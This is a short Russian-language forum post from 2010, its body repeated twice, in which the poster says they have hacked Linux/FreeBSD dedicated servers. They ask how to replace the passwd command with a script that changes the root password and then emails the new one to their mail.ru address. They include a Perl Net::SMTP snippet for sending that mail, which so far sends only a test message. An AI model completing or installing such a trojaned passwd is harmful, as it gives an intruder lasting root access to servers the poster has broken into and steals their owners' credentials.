свой скрипт вместо passwd
Добавлено: 2010-10-13 15:59:38
дано
linux/freebsd дедик сервера хакнутые.
Хочу чтоб когда меняется пароль рута, на мыло приходило письмо с новым паролем.
Пришла идея подменить команду passwd на скрипт в котором меняется сперва пароль а потом высылается на почту.
По есть следующее perl скрипт.
use Net::SMTP;
$smtp = Net::SMTP->new('smtp.mail.ru');
$smtp->mail($ENV{pupkin});
$smtp->to('pupkin@mail.ru');
$smtp->data();
$smtp->datasend("To: postmaster\n");
$smtp->datasend("\n");
$smtp->datasend("A simple test message\n");
$smtp->dataend();
$smtp->quit;
Подскажите как подставить в систему этот скрипт и может что подправить надо
Спасибо.
linux/freebsd дедик сервера хакнутые.
Хочу чтоб когда меняется пароль рута, на мыло приходило письмо с новым паролем.
Пришла идея подменить команду passwd на скрипт в котором меняется сперва пароль а потом высылается на почту.
По есть следующее perl скрипт.
use Net::SMTP;
$smtp = Net::SMTP->new('smtp.mail.ru');
$smtp->mail($ENV{pupkin});
$smtp->to('pupkin@mail.ru');
$smtp->data();
$smtp->datasend("To: postmaster\n");
$smtp->datasend("\n");
$smtp->datasend("A simple test message\n");
$smtp->dataend();
$smtp->quit;
Подскажите как подставить в систему этот скрипт и может что подправить надо
Спасибо.